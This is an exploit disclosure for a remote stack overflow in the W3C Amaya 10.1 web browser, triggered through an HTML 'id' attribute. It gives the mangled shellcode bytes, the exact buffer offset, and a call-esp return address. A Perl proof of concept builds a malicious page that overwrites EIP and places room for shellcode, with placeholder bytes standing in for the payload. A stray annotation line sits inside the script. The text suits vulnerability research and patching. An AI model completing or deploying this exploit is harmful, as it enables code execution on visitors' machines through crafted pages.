W3C Amaya 10.1 Web Browser
Amaya (id) Remote Stack Overflow Vulnerability
Written and discovered by:
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Shellcode notes:
The application fails to correctly process certain bytes:
0x9c becomes 0x9cc2
Similar events occur with different bytes (0xf8, 0xfb, 0xbe, 0x93, 0xab, 0xaf 0xeb).
After reviewing the source code, the below function modifies the
shellcode:
Line 902: int TtaWCToMBstring (wchar_t src, unsigned char **dest)
The max value which can be used is 0x1fffff <– Thanks Luigi!
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The "id" variable of a tag contains a buffer overflow:
<div id=" 93*'A/' ">r0ut3r</div>
The application will not overflow with normal alphanumeric characters.
To fill the buffer I had to use "A/" repeated 91 times. Therefore buffer length is:
91 * 2 = 182 + 4
[junk] + [eip] + [shellcode]
182 + 4 + sizeof(shellcode)
ESP points to data after EIP.
"id" variable Proof of concept:
#!/usr/bin/perl
use warnings;
use strict;
my $shellcode = 'C' x 350;
0x7D035F53 -> \x53\x5f\x03\x7d <– Bingo! (call esp)
my $data = '<div id="' .
'A/' x 91 .
"\x53\x5f\x03\x7d" . # eip (ESP points to stuff after RET, so shellcode)
$shellcode .
'">test</div>';
print $data;